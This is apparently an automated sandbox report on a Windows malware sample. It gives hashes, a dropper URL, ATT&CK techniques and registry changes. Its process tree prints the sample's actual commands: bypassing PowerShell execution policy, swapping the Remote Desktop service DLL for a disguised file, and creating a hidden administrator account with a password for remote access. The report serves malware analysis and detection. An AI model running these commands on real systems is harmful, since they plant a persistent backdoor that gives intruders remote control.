eb02c967fb3feaf5504a78de8a7e0513c2c4e52ddf2243bfbcb10e83954baaad

Analysis

max time kernel
48s
max time network
116s
platform
windows10_x64
resource
win10v20210410
submitted
18-06-2021 09:05

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General

Target

6774f8a7d95a58ddab16d1c792ec846c.exe
Size

4.5MB
MD5

6774f8a7d95a58ddab16d1c792ec846c
SHA1

562b99cee396d3d22dde68d9de09214dc32a0dd4
SHA256

eb02c967fb3feaf5504a78de8a7e0513c2c4e52ddf2243bfbcb10e83954baaad
SHA512

b3c7b9e46f6b5ccc513708729bd79b0ffab4605a9c4bbce0f5209574a83f68b2353c67b4731b0bdb5aa398f33dbe97c9bf46f54f0c0680e3f2b74c83e7657019

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
16	864	powershell.exe
18	864	powershell.exe
19	864	powershell.exe
20	864	powershell.exe
22	864	powershell.exe
24	864	powershell.exe
26	864	powershell.exe
28	864	powershell.exe
30	864	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ab57-223.dat	upx
behavioral2/files/0x000500000001ab59-224.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2644	Process not Found
2644	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6920.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_fyyml3q3.fjt.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_obf3qla0.jfi.psm1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6940.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6951.tmp	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6961.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI6991.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2416	reg.exe

Runs net.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3060	powershell.exe
3060	powershell.exe
3060	powershell.exe
1344	powershell.exe
1344	powershell.exe
1344	powershell.exe
3920	powershell.exe
3920	powershell.exe
3920	powershell.exe
4004	powershell.exe
4004	powershell.exe
4004	powershell.exe
3060	powershell.exe
3060	powershell.exe
3060	powershell.exe
864	powershell.exe
864	powershell.exe
864	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
624	Process not Found
624	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3060	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeIncreaseQuotaPrivilege	1344	powershell.exe
Token: SeSecurityPrivilege	1344	powershell.exe
Token: SeTakeOwnershipPrivilege	1344	powershell.exe
Token: SeLoadDriverPrivilege	1344	powershell.exe
Token: SeSystemProfilePrivilege	1344	powershell.exe
Token: SeSystemtimePrivilege	1344	powershell.exe
Token: SeProfSingleProcessPrivilege	1344	powershell.exe
Token: SeIncBasePriorityPrivilege	1344	powershell.exe
Token: SeCreatePagefilePrivilege	1344	powershell.exe
Token: SeBackupPrivilege	1344	powershell.exe
Token: SeRestorePrivilege	1344	powershell.exe
Token: SeShutdownPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeSystemEnvironmentPrivilege	1344	powershell.exe
Token: SeRemoteShutdownPrivilege	1344	powershell.exe
Token: SeUndockPrivilege	1344	powershell.exe
Token: SeManageVolumePrivilege	1344	powershell.exe
Token: 33	1344	powershell.exe
Token: 34	1344	powershell.exe
Token: 35	1344	powershell.exe
Token: 36	1344	powershell.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeIncreaseQuotaPrivilege	3920	powershell.exe
Token: SeSecurityPrivilege	3920	powershell.exe
Token: SeTakeOwnershipPrivilege	3920	powershell.exe
Token: SeLoadDriverPrivilege	3920	powershell.exe
Token: SeSystemProfilePrivilege	3920	powershell.exe
Token: SeSystemtimePrivilege	3920	powershell.exe
Token: SeProfSingleProcessPrivilege	3920	powershell.exe
Token: SeIncBasePriorityPrivilege	3920	powershell.exe
Token: SeCreatePagefilePrivilege	3920	powershell.exe
Token: SeBackupPrivilege	3920	powershell.exe
Token: SeRestorePrivilege	3920	powershell.exe
Token: SeShutdownPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeSystemEnvironmentPrivilege	3920	powershell.exe
Token: SeRemoteShutdownPrivilege	3920	powershell.exe
Token: SeUndockPrivilege	3920	powershell.exe
Token: SeManageVolumePrivilege	3920	powershell.exe
Token: 33	3920	powershell.exe
Token: 34	3920	powershell.exe
Token: 35	3920	powershell.exe
Token: 36	3920	powershell.exe
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeIncreaseQuotaPrivilege	4004	powershell.exe
Token: SeSecurityPrivilege	4004	powershell.exe
Token: SeTakeOwnershipPrivilege	4004	powershell.exe
Token: SeLoadDriverPrivilege	4004	powershell.exe
Token: SeSystemProfilePrivilege	4004	powershell.exe
Token: SeSystemtimePrivilege	4004	powershell.exe
Token: SeProfSingleProcessPrivilege	4004	powershell.exe
Token: SeIncBasePriorityPrivilege	4004	powershell.exe
Token: SeCreatePagefilePrivilege	4004	powershell.exe
Token: SeBackupPrivilege	4004	powershell.exe
Token: SeRestorePrivilege	4004	powershell.exe
Token: SeShutdownPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeSystemEnvironmentPrivilege	4004	powershell.exe
Token: SeRemoteShutdownPrivilege	4004	powershell.exe
Token: SeUndockPrivilege	4004	powershell.exe
Token: SeManageVolumePrivilege	4004	powershell.exe
Token: 33	4004	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3172 wrote to memory of 3060	3172	6774f8a7d95a58ddab16d1c792ec846c.exe	76
PID 3172 wrote to memory of 3060	3172	6774f8a7d95a58ddab16d1c792ec846c.exe	76
PID 3060 wrote to memory of 3956	3060	powershell.exe	78
PID 3060 wrote to memory of 3956	3060	powershell.exe	78
PID 3956 wrote to memory of 1968	3956	csc.exe	79
PID 3956 wrote to memory of 1968	3956	csc.exe	79
PID 3060 wrote to memory of 1344	3060	powershell.exe	80
PID 3060 wrote to memory of 1344	3060	powershell.exe	80
PID 3060 wrote to memory of 3920	3060	powershell.exe	85
PID 3060 wrote to memory of 3920	3060	powershell.exe	85
PID 3060 wrote to memory of 4004	3060	powershell.exe	87
PID 3060 wrote to memory of 4004	3060	powershell.exe	87
PID 3060 wrote to memory of 1940	3060	powershell.exe	90
PID 3060 wrote to memory of 1940	3060	powershell.exe	90
PID 3060 wrote to memory of 2416	3060	powershell.exe	91
PID 3060 wrote to memory of 2416	3060	powershell.exe	91
PID 3060 wrote to memory of 2396	3060	powershell.exe	92
PID 3060 wrote to memory of 2396	3060	powershell.exe	92
PID 3060 wrote to memory of 3932	3060	powershell.exe	93
PID 3060 wrote to memory of 3932	3060	powershell.exe	93
PID 3932 wrote to memory of 1792	3932	net.exe	94
PID 3932 wrote to memory of 1792	3932	net.exe	94
PID 3060 wrote to memory of 1400	3060	powershell.exe	95
PID 3060 wrote to memory of 1400	3060	powershell.exe	95
PID 1400 wrote to memory of 3292	1400	cmd.exe	96
PID 1400 wrote to memory of 3292	1400	cmd.exe	96
PID 3292 wrote to memory of 3348	3292	cmd.exe	97
PID 3292 wrote to memory of 3348	3292	cmd.exe	97
PID 3348 wrote to memory of 1616	3348	net.exe	98
PID 3348 wrote to memory of 1616	3348	net.exe	98
PID 3060 wrote to memory of 3184	3060	powershell.exe	99
PID 3060 wrote to memory of 3184	3060	powershell.exe	99
PID 3184 wrote to memory of 4004	3184	cmd.exe	100
PID 3184 wrote to memory of 4004	3184	cmd.exe	100
PID 4004 wrote to memory of 3204	4004	cmd.exe	101
PID 4004 wrote to memory of 3204	4004	cmd.exe	101
PID 3204 wrote to memory of 1908	3204	net.exe	102
PID 3204 wrote to memory of 1908	3204	net.exe	102
PID 384 wrote to memory of 2448	384	cmd.exe	106
PID 384 wrote to memory of 2448	384	cmd.exe	106
PID 2448 wrote to memory of 2472	2448	net.exe	107
PID 2448 wrote to memory of 2472	2448	net.exe	107
PID 200 wrote to memory of 3588	200	cmd.exe	110
PID 200 wrote to memory of 3588	200	cmd.exe	110
PID 3588 wrote to memory of 1124	3588	net.exe	111
PID 3588 wrote to memory of 1124	3588	net.exe	111
PID 3384 wrote to memory of 3268	3384	cmd.exe	114
PID 3384 wrote to memory of 3268	3384	cmd.exe	114
PID 3268 wrote to memory of 4084	3268	net.exe	115
PID 3268 wrote to memory of 4084	3268	net.exe	115
PID 2836 wrote to memory of 1816	2836	cmd.exe	118
PID 2836 wrote to memory of 1816	2836	cmd.exe	118
PID 1816 wrote to memory of 864	1816	net.exe	119
PID 1816 wrote to memory of 864	1816	net.exe	119
PID 1352 wrote to memory of 1124	1352	cmd.exe	122
PID 1352 wrote to memory of 1124	1352	cmd.exe	122
PID 1124 wrote to memory of 2700	1124	net.exe	123
PID 1124 wrote to memory of 2700	1124	net.exe	123
PID 2416 wrote to memory of 3384	2416	cmd.exe	126
PID 2416 wrote to memory of 3384	2416	cmd.exe	126
PID 3384 wrote to memory of 3268	3384	net.exe	127
PID 3384 wrote to memory of 3268	3384	net.exe	127
PID 2180 wrote to memory of 1428	2180	cmd.exe	130
PID 2180 wrote to memory of 1428	2180	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\6774f8a7d95a58ddab16d1c792ec846c.exe
"C:\Users\Admin\AppData\Local\Temp\6774f8a7d95a58ddab16d1c792ec846c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q25fv3tu\q25fv3tu.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES309B.tmp" "c:\Users\Admin\AppData\Local\Temp\q25fv3tu\CSCF983F113C0AA49D09FFBE0B43FC91FA7.TMP"
      4⤵
      PID:1968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4004
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1940
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2416
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2396
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3932
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1792
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1400
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3292
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3348
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1616
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3184
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4004
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3204
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1908
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1628
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:3920

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:384
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2472

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc AsXrcplv /add
1⤵
- Suspicious use of WriteProcessMemory
PID:200
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc AsXrcplv /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc AsXrcplv /add
    3⤵
    PID:1124

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3384
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:4084

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:864

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:2700

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc AsXrcplv
1⤵
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc AsXrcplv
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc AsXrcplv
    3⤵
    PID:3268

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
